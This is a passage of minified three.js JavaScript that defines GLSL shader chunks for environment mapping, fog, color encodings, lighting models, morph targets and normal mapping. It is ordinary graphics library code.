);\n#endif\n",n.ShaderChunk.displacementmap_pars_vertex="#ifdef USE_DISPLACEMENTMAP\n uniform sampler2D displacementMap;\n uniform float displacementScale;\n uniform float displacementBias;\n#endif\n",n.ShaderChunk.emissivemap_fragment="#ifdef USE_EMISSIVEMAP\n vec4 emissiveColor = texture2D( emissiveMap, vUv );\n emissiveColor.rgb = emissiveMapTexelToLinear( emissiveColor ).rgb;\n totalEmissiveRadiance *= emissiveColor.rgb;\n#endif\n",n.ShaderChunk.emissivemap_pars_fragment="#ifdef USE_EMISSIVEMAP\n uniform sampler2D emissiveMap;\n#endif\n",n.ShaderChunk.encodings_pars_fragment="\nvec4 LinearToLinear( in vec4 value ) {\n return value;\n}\nvec4 GammaToLinear( in vec4 value, in float gammaFactor ) {\n return vec4( pow( value.xyz, vec3( gammaFactor ) ), value.w );\n}\nvec4 LinearToGamma( in vec4 value, in float gammaFactor ) {\n return vec4( pow( value.xyz, vec3( 1.0 / gammaFactor ) ), value.w );\n}\nvec4 sRGBToLinear( in vec4 value ) {\n return vec4( mix( pow( value.rgb * 0.9478672986 + vec3( 0.0521327014 ), vec3( 2.4 ) ), value.rgb * 0.0773993808, vec3( lessThanEqual( value.rgb, vec3( 0.04045 ) ) ) ), value.w );\n}\nvec4 LinearTosRGB( in vec4 value ) {\n return vec4( mix( pow( value.rgb, vec3( 0.41666 ) ) * 1.055 - vec3( 0.055 ), value.rgb * 12.92, vec3( lessThanEqual( value.rgb, vec3( 0.0031308 ) ) ) ), value.w );\n}\nvec4 RGBEToLinear( in vec4 value ) {\n return vec4( value.rgb * exp2( value.a * 255.0 - 128.0 ), 1.0 );\n}\nvec4 LinearToRGBE( in vec4 value ) {\n float maxComponent = max( max( value.r, value.g ), value.b );\n float fExp = clamp( ceil( log2( maxComponent ) ), -128.0, 127.0 );\n return vec4( value.rgb / exp2( fExp ), ( fExp + 128.0 ) / 255.0 );\n}\nvec4 RGBMToLinear( in vec4 value, in float maxRange ) {\n return vec4( value.xyz * value.w * maxRange, 1.0 );\n}\nvec4 LinearToRGBM( in vec4 value, in float maxRange ) {\n float maxRGB = max( value.x, max( value.g, value.b ) );\n float M = clamp( maxRGB / maxRange, 0.0, 1.0 );\n M = ceil( M * 255.0 ) / 255.0;\n return vec4( value.rgb / ( M * maxRange ), M );\n}\nvec4 RGBDToLinear( in vec4 value, in float maxRange ) {\n return vec4( value.rgb * ( ( maxRange / 255.0 ) / value.a ), 1.0 );\n}\nvec4 LinearToRGBD( in vec4 value, in float maxRange ) {\n float maxRGB = max( value.x, max( value.g, value.b ) );\n float D = max( maxRange / maxRGB, 1.0 );\n D = min( floor( D ) / 255.0, 1.0 );\n return vec4( value.rgb * ( D * ( 255.0 / maxRange ) ), D );\n}\nconst mat3 cLogLuvM = mat3( 0.2209, 0.3390, 0.4184, 0.1138, 0.6780, 0.7319, 0.0102, 0.1130, 0.2969 );\nvec4 LinearToLogLuv( in vec4 value ) {\n vec3 Xp_Y_XYZp = value.rgb * cLogLuvM;\n Xp_Y_XYZp = max(Xp_Y_XYZp, vec3(1e-6, 1e-6, 1e-6));\n vec4 vResult;\n vResult.xy = Xp_Y_XYZp.xy / Xp_Y_XYZp.z;\n float Le = 2.0 * log2(Xp_Y_XYZp.y) + 127.0;\n vResult.w = fract(Le);\n vResult.z = (Le - (floor(vResult.w*255.0))/255.0)/255.0;\n return vResult;\n}\nconst mat3 cLogLuvInverseM = mat3( 6.0014, -2.7008, -1.7996, -1.3320, 3.1029, -5.7721, 0.3008, -1.0882, 5.6268 );\nvec4 LogLuvToLinear( in vec4 value ) {\n float Le = value.z * 255.0 + value.w;\n vec3 Xp_Y_XYZp;\n Xp_Y_XYZp.y = exp2((Le - 127.0) / 2.0);\n Xp_Y_XYZp.z = Xp_Y_XYZp.y / value.y;\n Xp_Y_XYZp.x = value.x * Xp_Y_XYZp.z;\n vec3 vRGB = Xp_Y_XYZp.rgb * cLogLuvInverseM;\n return vec4( max(vRGB, 0.0), 1.0 );\n}\n",n.ShaderChunk.encodings_fragment=" gl_FragColor = linearToOutputTexel( gl_FragColor );\n",n.ShaderChunk.envmap_fragment="#ifdef USE_ENVMAP\n #if defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( PHONG )\n vec3 cameraToVertex = normalize( vWorldPosition - cameraPosition );\n vec3 worldNormal = inverseTransformDirection( normal, viewMatrix );\n #ifdef ENVMAP_MODE_REFLECTION\n vec3 reflectVec = reflect( cameraToVertex, worldNormal );\n #else\n vec3 reflectVec = refract( cameraToVertex, worldNormal, refractionRatio );\n #endif\n #else\n vec3 reflectVec = vReflect;\n #endif\n #ifdef DOUBLE_SIDED\n float flipNormal = ( float( gl_FrontFacing ) * 2.0 - 1.0 );\n #else\n float flipNormal = 1.0;\n #endif\n #ifdef ENVMAP_TYPE_CUBE\n vec4 envColor = textureCube( envMap, flipNormal * vec3( flipEnvMap * reflectVec.x, reflectVec.yz ) );\n #elif defined( ENVMAP_TYPE_EQUIREC )\n vec2 sampleUV;\n sampleUV.y = saturate( flipNormal * reflectVec.y * 0.5 + 0.5 );\n sampleUV.x = atan( flipNormal * reflectVec.z, flipNormal * reflectVec.x ) * RECIPROCAL_PI2 + 0.5;\n vec4 envColor = texture2D( envMap, sampleUV );\n #elif defined( ENVMAP_TYPE_SPHERE )\n vec3 reflectView = flipNormal * normalize((viewMatrix * vec4( reflectVec, 0.0 )).xyz + vec3(0.0,0.0,1.0));\n vec4 envColor = texture2D( envMap, reflectView.xy * 0.5 + 0.5 );\n #endif\n envColor = envMapTexelToLinear( envColor );\n #ifdef ENVMAP_BLENDING_MULTIPLY\n outgoingLight = mix( outgoingLight, outgoingLight * envColor.xyz, specularStrength * reflectivity );\n #elif defined( ENVMAP_BLENDING_MIX )\n outgoingLight = mix( outgoingLight, envColor.xyz, specularStrength * reflectivity );\n #elif defined( ENVMAP_BLENDING_ADD )\n outgoingLight += envColor.xyz * specularStrength * reflectivity;\n #endif\n#endif\n",n.ShaderChunk.envmap_pars_fragment="#if defined( USE_ENVMAP ) || defined( PHYSICAL )\n uniform float reflectivity;\n uniform float envMapIntenstiy;\n#endif\n#ifdef USE_ENVMAP\n #if ! defined( PHYSICAL ) && ( defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( PHONG ) )\n varying vec3 vWorldPosition;\n #endif\n #ifdef ENVMAP_TYPE_CUBE\n uniform samplerCube envMap;\n #else\n uniform sampler2D envMap;\n #endif\n uniform float flipEnvMap;\n #if defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( PHONG ) || defined( PHYSICAL )\n uniform float refractionRatio;\n #else\n varying vec3 vReflect;\n #endif\n#endif\n",n.ShaderChunk.envmap_pars_vertex="#ifdef USE_ENVMAP\n #if defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( PHONG )\n varying vec3 vWorldPosition;\n #else\n varying vec3 vReflect;\n uniform float refractionRatio;\n #endif\n#endif\n",n.ShaderChunk.envmap_vertex="#ifdef USE_ENVMAP\n #if defined( USE_BUMPMAP ) || defined( USE_NORMALMAP ) || defined( PHONG )\n vWorldPosition = worldPosition.xyz;\n #else\n vec3 cameraToVertex = normalize( worldPosition.xyz - cameraPosition );\n vec3 worldNormal = inverseTransformDirection( transformedNormal, viewMatrix );\n #ifdef ENVMAP_MODE_REFLECTION\n vReflect = reflect( cameraToVertex, worldNormal );\n #else\n vReflect = refract( cameraToVertex, worldNormal, refractionRatio );\n #endif\n #endif\n#endif\n",n.ShaderChunk.fog_fragment="#ifdef USE_FOG\n #ifdef USE_LOGDEPTHBUF_EXT\n float depth = gl_FragDepthEXT / gl_FragCoord.w;\n #else\n float depth = gl_FragCoord.z / gl_FragCoord.w;\n #endif\n #ifdef FOG_EXP2\n float fogFactor = whiteCompliment( exp2( - fogDensity * fogDensity * depth * depth * LOG2 ) );\n #else\n float fogFactor = smoothstep( fogNear, fogFar, depth );\n #endif\n gl_FragColor.rgb = mix( gl_FragColor.rgb, fogColor, fogFactor );\n#endif\n",n.ShaderChunk.fog_pars_fragment="#ifdef USE_FOG\n uniform vec3 fogColor;\n #ifdef FOG_EXP2\n uniform float fogDensity;\n #else\n uniform float fogNear;\n uniform float fogFar;\n #endif\n#endif",n.ShaderChunk.lightmap_fragment="#ifdef USE_LIGHTMAP\n reflectedLight.indirectDiffuse += PI * texture2D( lightMap, vUv2 ).xyz * lightMapIntensity;\n#endif\n",n.ShaderChunk.lightmap_pars_fragment="#ifdef USE_LIGHTMAP\n uniform sampler2D lightMap;\n uniform float lightMapIntensity;\n#endif",n.ShaderChunk.lights_lambert_vertex="vec3 diffuse = vec3( 1.0 );\nGeometricContext geometry;\ngeometry.position = mvPosition.xyz;\ngeometry.normal = normalize( transformedNormal );\ngeometry.viewDir = normalize( -mvPosition.xyz );\nGeometricContext backGeometry;\nbackGeometry.position = geometry.position;\nbackGeometry.normal = -geometry.normal;\nbackGeometry.viewDir = geometry.viewDir;\nvLightFront = vec3( 0.0 );\n#ifdef DOUBLE_SIDED\n vLightBack = vec3( 0.0 );\n#endif\nIncidentLight directLight;\nfloat dotNL;\nvec3 directLightColor_Diffuse;\n#if NUM_POINT_LIGHTS > 0\n for ( int i = 0; i < NUM_POINT_LIGHTS; i ++ ) {\n getPointDirectLightIrradiance( pointLights[ i ], geometry, directLight );\n dotNL = dot( geometry.normal, directLight.direction );\n directLightColor_Diffuse = PI * directLight.color;\n vLightFront += saturate( dotNL ) * directLightColor_Diffuse;\n #ifdef DOUBLE_SIDED\n vLightBack += saturate( -dotNL ) * directLightColor_Diffuse;\n #endif\n }\n#endif\n#if NUM_SPOT_LIGHTS > 0\n for ( int i = 0; i < NUM_SPOT_LIGHTS; i ++ ) {\n getSpotDirectLightIrradiance( spotLights[ i ], geometry, directLight );\n dotNL = dot( geometry.normal, directLight.direction );\n directLightColor_Diffuse = PI * directLight.color;\n vLightFront += saturate( dotNL ) * directLightColor_Diffuse;\n #ifdef DOUBLE_SIDED\n vLightBack += saturate( -dotNL ) * directLightColor_Diffuse;\n #endif\n }\n#endif\n#if NUM_DIR_LIGHTS > 0\n for ( int i = 0; i < NUM_DIR_LIGHTS; i ++ ) {\n getDirectionalDirectLightIrradiance( directionalLights[ i ], geometry, directLight );\n dotNL = dot( geometry.normal, directLight.direction );\n directLightColor_Diffuse = PI * directLight.color;\n vLightFront += saturate( dotNL ) * directLightColor_Diffuse;\n #ifdef DOUBLE_SIDED\n vLightBack += saturate( -dotNL ) * directLightColor_Diffuse;\n #endif\n }\n#endif\n#if NUM_HEMI_LIGHTS > 0\n for ( int i = 0; i < NUM_HEMI_LIGHTS; i ++ ) {\n vLightFront += getHemisphereLightIrradiance( hemisphereLights[ i ], geometry );\n #ifdef DOUBLE_SIDED\n vLightBack += getHemisphereLightIrradiance( hemisphereLights[ i ], backGeometry );\n #endif\n }\n#endif\n",n.ShaderChunk.lights_pars="uniform vec3 ambientLightColor;\nvec3 getAmbientLightIrradiance( const in vec3 ambientLightColor ) {\n vec3 irradiance = ambientLightColor;\n #ifndef PHYSICALLY_CORRECT_LIGHTS\n irradiance *= PI;\n #endif\n return irradiance;\n}\n#if NUM_DIR_LIGHTS > 0\n struct DirectionalLight {\n vec3 direction;\n vec3 color;\n int shadow;\n float shadowBias;\n float shadowRadius;\n vec2 shadowMapSize;\n };\n uniform DirectionalLight directionalLights[ NUM_DIR_LIGHTS ];\n void getDirectionalDirectLightIrradiance( const in DirectionalLight directionalLight, const in GeometricContext geometry, out IncidentLight directLight ) {\n directLight.color = directionalLight.color;\n directLight.direction = directionalLight.direction;\n directLight.visible = true;\n }\n#endif\n#if NUM_POINT_LIGHTS > 0\n struct PointLight {\n vec3 position;\n vec3 color;\n float distance;\n float decay;\n int shadow;\n float shadowBias;\n float shadowRadius;\n vec2 shadowMapSize;\n };\n uniform PointLight pointLights[ NUM_POINT_LIGHTS ];\n void getPointDirectLightIrradiance( const in PointLight pointLight, const in GeometricContext geometry, out IncidentLight directLight ) {\n vec3 lVector = pointLight.position - geometry.position;\n directLight.direction = normalize( lVector );\n float lightDistance = length( lVector );\n if ( testLightInRange( lightDistance, pointLight.distance ) ) {\n directLight.color = pointLight.color;\n directLight.color *= punctualLightIntensityToIrradianceFactor( lightDistance, pointLight.distance, pointLight.decay );\n directLight.visible = true;\n } else {\n directLight.color = vec3( 0.0 );\n directLight.visible = false;\n }\n }\n#endif\n#if NUM_SPOT_LIGHTS > 0\n struct SpotLight {\n vec3 position;\n vec3 direction;\n vec3 color;\n float distance;\n float decay;\n float coneCos;\n float penumbraCos;\n int shadow;\n float shadowBias;\n float shadowRadius;\n vec2 shadowMapSize;\n };\n uniform SpotLight spotLights[ NUM_SPOT_LIGHTS ];\n void getSpotDirectLightIrradiance( const in SpotLight spotLight, const in GeometricContext geometry, out IncidentLight directLight ) {\n vec3 lVector = spotLight.position - geometry.position;\n directLight.direction = normalize( lVector );\n float lightDistance = length( lVector );\n float angleCos = dot( directLight.direction, spotLight.direction );\n if ( all( bvec2( angleCos > spotLight.coneCos, testLightInRange( lightDistance, spotLight.distance ) ) ) ) {\n float spotEffect = smoothstep( spotLight.coneCos, spotLight.penumbraCos, angleCos );\n directLight.color = spotLight.color;\n directLight.color *= spotEffect * punctualLightIntensityToIrradianceFactor( lightDistance, spotLight.distance, spotLight.decay );\n directLight.visible = true;\n } else {\n directLight.color = vec3( 0.0 );\n directLight.visible = false;\n }\n }\n#endif\n#if NUM_HEMI_LIGHTS > 0\n struct HemisphereLight {\n vec3 direction;\n vec3 skyColor;\n vec3 groundColor;\n };\n uniform HemisphereLight hemisphereLights[ NUM_HEMI_LIGHTS ];\n vec3 getHemisphereLightIrradiance( const in HemisphereLight hemiLight, const in GeometricContext geometry ) {\n float dotNL = dot( geometry.normal, hemiLight.direction );\n float hemiDiffuseWeight = 0.5 * dotNL + 0.5;\n vec3 irradiance = mix( hemiLight.groundColor, hemiLight.skyColor, hemiDiffuseWeight );\n #ifndef PHYSICALLY_CORRECT_LIGHTS\n irradiance *= PI;\n #endif\n return irradiance;\n }\n#endif\n#if defined( USE_ENVMAP ) && defined( PHYSICAL )\n vec3 getLightProbeIndirectIrradiance( const in GeometricContext geometry, const in int maxMIPLevel ) {\n #ifdef DOUBLE_SIDED\n float flipNormal = ( float( gl_FrontFacing ) * 2.0 - 1.0 );\n #else\n float flipNormal = 1.0;\n #endif\n vec3 worldNormal = inverseTransformDirection( geometry.normal, viewMatrix );\n #ifdef ENVMAP_TYPE_CUBE\n vec3 queryVec = flipNormal * vec3( flipEnvMap * worldNormal.x, worldNormal.yz );\n #ifdef TEXTURE_LOD_EXT\n vec4 envMapColor = textureCubeLodEXT( envMap, queryVec, float( maxMIPLevel ) );\n #else\n vec4 envMapColor = textureCube( envMap, queryVec, float( maxMIPLevel ) );\n #endif\n envMapColor.rgb = envMapTexelToLinear( envMapColor ).rgb;\n #elif defined( ENVMAP_TYPE_CUBE_UV )\n vec3 queryVec = flipNormal * vec3( flipEnvMap * worldNormal.x, worldNormal.yz );\n vec4 envMapColor = textureCubeUV( queryVec, 1.0 );\n #else\n vec4 envMapColor = vec4( 0.0 );\n #endif\n return PI * envMapColor.rgb * envMapIntensity;\n }\n float getSpecularMIPLevel( const in float blinnShininessExponent, const in int maxMIPLevel ) {\n float maxMIPLevelScalar = float( maxMIPLevel );\n float desiredMIPLevel = maxMIPLevelScalar - 0.79248 - 0.5 * log2( pow2( blinnShininessExponent ) + 1.0 );\n return clamp( desiredMIPLevel, 0.0, maxMIPLevelScalar );\n }\n vec3 getLightProbeIndirectRadiance( const in GeometricContext geometry, const in float blinnShininessExponent, const in int maxMIPLevel ) {\n #ifdef ENVMAP_MODE_REFLECTION\n vec3 reflectVec = reflect( -geometry.viewDir, geometry.normal );\n #else\n vec3 reflectVec = refract( -geometry.viewDir, geometry.normal, refractionRatio );\n #endif\n #ifdef DOUBLE_SIDED\n float flipNormal = ( float( gl_FrontFacing ) * 2.0 - 1.0 );\n #else\n float flipNormal = 1.0;\n #endif\n reflectVec = inverseTransformDirection( reflectVec, viewMatrix );\n float specularMIPLevel = getSpecularMIPLevel( blinnShininessExponent, maxMIPLevel );\n #ifdef ENVMAP_TYPE_CUBE\n vec3 queryReflectVec = flipNormal * vec3( flipEnvMap * reflectVec.x, reflectVec.yz );\n #ifdef TEXTURE_LOD_EXT\n vec4 envMapColor = textureCubeLodEXT( envMap, queryReflectVec, specularMIPLevel );\n #else\n vec4 envMapColor = textureCube( envMap, queryReflectVec, specularMIPLevel );\n #endif\n envMapColor.rgb = envMapTexelToLinear( envMapColor ).rgb;\n #elif defined( ENVMAP_TYPE_CUBE_UV )\n vec3 queryReflectVec = flipNormal * vec3( flipEnvMap * reflectVec.x, reflectVec.yz );\n vec4 envMapColor = textureCubeUV(queryReflectVec, BlinnExponentToGGXRoughness(blinnShininessExponent));\n #elif defined( ENVMAP_TYPE_EQUIREC )\n vec2 sampleUV;\n sampleUV.y = saturate( flipNormal * reflectVec.y * 0.5 + 0.5 );\n sampleUV.x = atan( flipNormal * reflectVec.z, flipNormal * reflectVec.x ) * RECIPROCAL_PI2 + 0.5;\n #ifdef TEXTURE_LOD_EXT\n vec4 envMapColor = texture2DLodEXT( envMap, sampleUV, specularMIPLevel );\n #else\n vec4 envMapColor = texture2D( envMap, sampleUV, specularMIPLevel );\n #endif\n envMapColor.rgb = envMapTexelToLinear( envMapColor ).rgb;\n #elif defined( ENVMAP_TYPE_SPHERE )\n vec3 reflectView = flipNormal * normalize((viewMatrix * vec4( reflectVec, 0.0 )).xyz + vec3(0.0,0.0,1.0));\n #ifdef TEXTURE_LOD_EXT\n vec4 envMapColor = texture2DLodEXT( envMap, reflectView.xy * 0.5 + 0.5, specularMIPLevel );\n #else\n vec4 envMapColor = texture2D( envMap, reflectView.xy * 0.5 + 0.5, specularMIPLevel );\n #endif\n envMapColor.rgb = envMapTexelToLinear( envMapColor ).rgb;\n #endif\n return envMapColor.rgb * envMapIntensity;\n }\n#endif\n",n.ShaderChunk.lights_phong_fragment="BlinnPhongMaterial material;\nmaterial.diffuseColor = diffuseColor.rgb;\nmaterial.specularColor = specular;\nmaterial.specularShininess = shininess;\nmaterial.specularStrength = specularStrength;\n",n.ShaderChunk.lights_phong_pars_fragment="varying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n varying vec3 vNormal;\n#endif\nstruct BlinnPhongMaterial {\n vec3 diffuseColor;\n vec3 specularColor;\n float specularShininess;\n float specularStrength;\n};\nvoid RE_Direct_BlinnPhong( const in IncidentLight directLight, const in GeometricContext geometry, const in BlinnPhongMaterial material, inout ReflectedLight reflectedLight ) {\n float dotNL = saturate( dot( geometry.normal, directLight.direction ) );\n vec3 irradiance = dotNL * directLight.color;\n #ifndef PHYSICALLY_CORRECT_LIGHTS\n irradiance *= PI;\n #endif\n reflectedLight.directDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n reflectedLight.directSpecular += irradiance * BRDF_Specular_BlinnPhong( directLight, geometry, material.specularColor, material.specularShininess ) * material.specularStrength;\n}\nvoid RE_IndirectDiffuse_BlinnPhong( const in vec3 irradiance, const in GeometricContext geometry, const in BlinnPhongMaterial material, inout ReflectedLight reflectedLight ) {\n reflectedLight.indirectDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n}\n#define RE_Direct RE_Direct_BlinnPhong\n#define RE_IndirectDiffuse RE_IndirectDiffuse_BlinnPhong\n#define Material_LightProbeLOD( material ) (0)\n",n.ShaderChunk.lights_physical_fragment="PhysicalMaterial material;\nmaterial.diffuseColor = diffuseColor.rgb * ( 1.0 - metalnessFactor );\nmaterial.specularRoughness = clamp( roughnessFactor, 0.04, 1.0 );\n#ifdef STANDARD\n material.specularColor = mix( vec3( 0.04 ), diffuseColor.rgb, metalnessFactor );\n#else\n material.specularColor = mix( vec3( 0.16 * pow2( reflectivity ) ), diffuseColor.rgb, metalnessFactor );\n#endif\n",n.ShaderChunk.lights_physical_pars_fragment="struct PhysicalMaterial {\n vec3 diffuseColor;\n float specularRoughness;\n vec3 specularColor;\n #ifndef STANDARD\n #endif\n};\nvoid RE_Direct_Physical( const in IncidentLight directLight, const in GeometricContext geometry, const in PhysicalMaterial material, inout ReflectedLight reflectedLight ) {\n float dotNL = saturate( dot( geometry.normal, directLight.direction ) );\n vec3 irradiance = dotNL * directLight.color;\n #ifndef PHYSICALLY_CORRECT_LIGHTS\n irradiance *= PI;\n #endif\n reflectedLight.directDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n reflectedLight.directSpecular += irradiance * BRDF_Specular_GGX( directLight, geometry, material.specularColor, material.specularRoughness );\n}\nvoid RE_IndirectDiffuse_Physical( const in vec3 irradiance, const in GeometricContext geometry, const in PhysicalMaterial material, inout ReflectedLight reflectedLight ) {\n reflectedLight.indirectDiffuse += irradiance * BRDF_Diffuse_Lambert( material.diffuseColor );\n}\nvoid RE_IndirectSpecular_Physical( const in vec3 radiance, const in GeometricContext geometry, const in PhysicalMaterial material, inout ReflectedLight reflectedLight ) {\n reflectedLight.indirectSpecular += radiance * BRDF_Specular_GGX_Environment( geometry, material.specularColor, material.specularRoughness );\n}\n#define RE_Direct RE_Direct_Physical\n#define RE_IndirectDiffuse RE_IndirectDiffuse_Physical\n#define RE_IndirectSpecular RE_IndirectSpecular_Physical\n#define Material_BlinnShininessExponent( material ) GGXRoughnessToBlinnExponent( material.specularRoughness )\nfloat computeSpecularOcclusion( const in float dotNV, const in float ambientOcclusion, const in float roughness ) {\n return saturate( pow( dotNV + ambientOcclusion, exp2( - 16.0 * roughness - 1.0 ) ) - 1.0 + ambientOcclusion );\n}\n",n.ShaderChunk.lights_template="\nGeometricContext geometry;\ngeometry.position = - vViewPosition;\ngeometry.normal = normal;\ngeometry.viewDir = normalize( vViewPosition );\nIncidentLight directLight;\n#if ( NUM_POINT_LIGHTS > 0 ) && defined( RE_Direct )\n PointLight pointLight;\n for ( int i = 0; i < NUM_POINT_LIGHTS; i ++ ) {\n pointLight = pointLights[ i ];\n getPointDirectLightIrradiance( pointLight, geometry, directLight );\n #ifdef USE_SHADOWMAP\n directLight.color *= all( bvec2( pointLight.shadow, directLight.visible ) ) ? getPointShadow( pointShadowMap[ i ], pointLight.shadowMapSize, pointLight.shadowBias, pointLight.shadowRadius, vPointShadowCoord[ i ] ) : 1.0;\n #endif\n RE_Direct( directLight, geometry, material, reflectedLight );\n }\n#endif\n#if ( NUM_SPOT_LIGHTS > 0 ) && defined( RE_Direct )\n SpotLight spotLight;\n for ( int i = 0; i < NUM_SPOT_LIGHTS; i ++ ) {\n spotLight = spotLights[ i ];\n getSpotDirectLightIrradiance( spotLight, geometry, directLight );\n #ifdef USE_SHADOWMAP\n directLight.color *= all( bvec2( spotLight.shadow, directLight.visible ) ) ? getShadow( spotShadowMap[ i ], spotLight.shadowMapSize, spotLight.shadowBias, spotLight.shadowRadius, vSpotShadowCoord[ i ] ) : 1.0;\n #endif\n RE_Direct( directLight, geometry, material, reflectedLight );\n }\n#endif\n#if ( NUM_DIR_LIGHTS > 0 ) && defined( RE_Direct )\n DirectionalLight directionalLight;\n for ( int i = 0; i < NUM_DIR_LIGHTS; i ++ ) {\n directionalLight = directionalLights[ i ];\n getDirectionalDirectLightIrradiance( directionalLight, geometry, directLight );\n #ifdef USE_SHADOWMAP\n directLight.color *= all( bvec2( directionalLight.shadow, directLight.visible ) ) ? getShadow( directionalShadowMap[ i ], directionalLight.shadowMapSize, directionalLight.shadowBias, directionalLight.shadowRadius, vDirectionalShadowCoord[ i ] ) : 1.0;\n #endif\n RE_Direct( directLight, geometry, material, reflectedLight );\n }\n#endif\n#if defined( RE_IndirectDiffuse )\n vec3 irradiance = getAmbientLightIrradiance( ambientLightColor );\n #ifdef USE_LIGHTMAP\n vec3 lightMapIrradiance = texture2D( lightMap, vUv2 ).xyz * lightMapIntensity;\n #ifndef PHYSICALLY_CORRECT_LIGHTS\n lightMapIrradiance *= PI;\n #endif\n irradiance += lightMapIrradiance;\n #endif\n #if ( NUM_HEMI_LIGHTS > 0 )\n for ( int i = 0; i < NUM_HEMI_LIGHTS; i ++ ) {\n irradiance += getHemisphereLightIrradiance( hemisphereLights[ i ], geometry );\n }\n #endif\n #if defined( USE_ENVMAP ) && defined( PHYSICAL ) && defined( ENVMAP_TYPE_CUBE_UV )\n irradiance += getLightProbeIndirectIrradiance( geometry, 8 );\n #endif\n RE_IndirectDiffuse( irradiance, geometry, material, reflectedLight );\n#endif\n#if defined( USE_ENVMAP ) && defined( RE_IndirectSpecular )\n vec3 radiance = getLightProbeIndirectRadiance( geometry, Material_BlinnShininessExponent( material ), 8 );\n RE_IndirectSpecular( radiance, geometry, material, reflectedLight );\n#endif\n",n.ShaderChunk.logdepthbuf_fragment="#if defined(USE_LOGDEPTHBUF) && defined(USE_LOGDEPTHBUF_EXT)\n gl_FragDepthEXT = log2(vFragDepth) * logDepthBufFC * 0.5;\n#endif",
n.ShaderChunk.logdepthbuf_pars_fragment="#ifdef USE_LOGDEPTHBUF\n uniform float logDepthBufFC;\n #ifdef USE_LOGDEPTHBUF_EXT\n varying float vFragDepth;\n #endif\n#endif\n",n.ShaderChunk.logdepthbuf_pars_vertex="#ifdef USE_LOGDEPTHBUF\n #ifdef USE_LOGDEPTHBUF_EXT\n varying float vFragDepth;\n #endif\n uniform float logDepthBufFC;\n#endif",n.ShaderChunk.logdepthbuf_vertex="#ifdef USE_LOGDEPTHBUF\n gl_Position.z = log2(max( EPSILON, gl_Position.w + 1.0 )) * logDepthBufFC;\n #ifdef USE_LOGDEPTHBUF_EXT\n vFragDepth = 1.0 + gl_Position.w;\n #else\n gl_Position.z = (gl_Position.z - 1.0) * gl_Position.w;\n #endif\n#endif\n",n.ShaderChunk.map_fragment="#ifdef USE_MAP\n vec4 texelColor = texture2D( map, vUv );\n texelColor = mapTexelToLinear( texelColor );\n diffuseColor *= texelColor;\n#endif\n",n.ShaderChunk.map_pars_fragment="#ifdef USE_MAP\n uniform sampler2D map;\n#endif\n",n.ShaderChunk.map_particle_fragment="#ifdef USE_MAP\n vec4 mapTexel = texture2D( map, vec2( gl_PointCoord.x, 1.0 - gl_PointCoord.y ) * offsetRepeat.zw + offsetRepeat.xy );\n diffuseColor *= mapTexelToLinear( mapTexel );\n#endif\n",n.ShaderChunk.map_particle_pars_fragment="#ifdef USE_MAP\n uniform vec4 offsetRepeat;\n uniform sampler2D map;\n#endif\n",n.ShaderChunk.metalnessmap_fragment="float metalnessFactor = metalness;\n#ifdef USE_METALNESSMAP\n vec4 texelMetalness = texture2D( metalnessMap, vUv );\n metalnessFactor *= texelMetalness.r;\n#endif\n",n.ShaderChunk.metalnessmap_pars_fragment="#ifdef USE_METALNESSMAP\n uniform sampler2D metalnessMap;\n#endif",n.ShaderChunk.morphnormal_vertex="#ifdef USE_MORPHNORMALS\n objectNormal += ( morphNormal0 - normal ) * morphTargetInfluences[ 0 ];\n objectNormal += ( morphNormal1 - normal ) * morphTargetInfluences[ 1 ];\n objectNormal += ( morphNormal2 - normal ) * morphTargetInfluences[ 2 ];\n objectNormal += ( morphNormal3 - normal ) * morphTargetInfluences[ 3 ];\n#endif\n",n.ShaderChunk.morphtarget_pars_vertex="#ifdef USE_MORPHTARGETS\n #ifndef USE_MORPHNORMALS\n uniform float morphTargetInfluences[ 8 ];\n #else\n uniform float morphTargetInfluences[ 4 ];\n #endif\n#endif",n.ShaderChunk.morphtarget_vertex="#ifdef USE_MORPHTARGETS\n transformed += ( morphTarget0 - position ) * morphTargetInfluences[ 0 ];\n transformed += ( morphTarget1 - position ) * morphTargetInfluences[ 1 ];\n transformed += ( morphTarget2 - position ) * morphTargetInfluences[ 2 ];\n transformed += ( morphTarget3 - position ) * morphTargetInfluences[ 3 ];\n #ifndef USE_MORPHNORMALS\n transformed += ( morphTarget4 - position ) * morphTargetInfluences[ 4 ];\n transformed += ( morphTarget5 - position ) * morphTargetInfluences[ 5 ];\n transformed += ( morphTarget6 - position ) * morphTargetInfluences[ 6 ];\n transformed += ( morphTarget7 - position ) * morphTargetInfluences[ 7 ];\n #endif\n#endif\n",n.ShaderChunk.normal_fragment="#ifdef FLAT_SHADED\n vec3 fdx = vec3( dFdx( vViewPosition.x ), dFdx( vViewPosition.y ), dFdx( vViewPosition.z ) );\n vec3 fdy = vec3( dFdy( vViewPosition.x ), dFdy( vViewPosition.y ), dFdy( vViewPosition.z ) );\n vec3 normal = normalize( cross( fdx, fdy ) );\n#else\n vec3 normal = normalize( vNormal );\n #ifdef DOUBLE_SIDED\n normal = normal * ( -1.0 + 2.0 * float( gl_FrontFacing ) );\n #endif\n#endif\n#ifdef USE_NORMALMAP\n normal = perturbNormal2Arb( -vViewPosition, normal );\n#elif defined( USE_BUMPMAP )\n normal = perturbNormalArb( -vViewPosition, normal, dHdxy_fwd() );\n#endif\n",n.ShaderChunk.normalmap_pars_fragment="#ifdef USE_NORMALMAP\n uniform sampler2D normalMap;\n uniform vec2 normalScale;\n vec3 perturbNormal2Arb( vec3 eye_pos, vec3 surf_norm ) {\n vec3 q0 = dFdx( eye_pos.xyz );\n vec3 q1 = dFdy( eye_pos.xyz );\n vec2 st0 = dFdx( vUv.st );\n vec2 st1 = dFdy( vUv.st );\n vec3 S = normalize( q0 * st1.t - q1 * st0.t );\n vec3 T = normalize( -q0 * st1.s + q1 * st0.s );\n vec3 N = normalize( surf_norm );\n vec3 mapN = texture2D( normalMap, vUv ).xyz * 2.0 - 1.0;\n mapN.xy = normalScale * mapN.xy;\n mat3 tsn = mat3( S, T, N );\n return normalize( tsn * mapN );\n }\n#endif\n",n.ShaderChunk.packing="vec3 packNormalToRGB( const in vec3 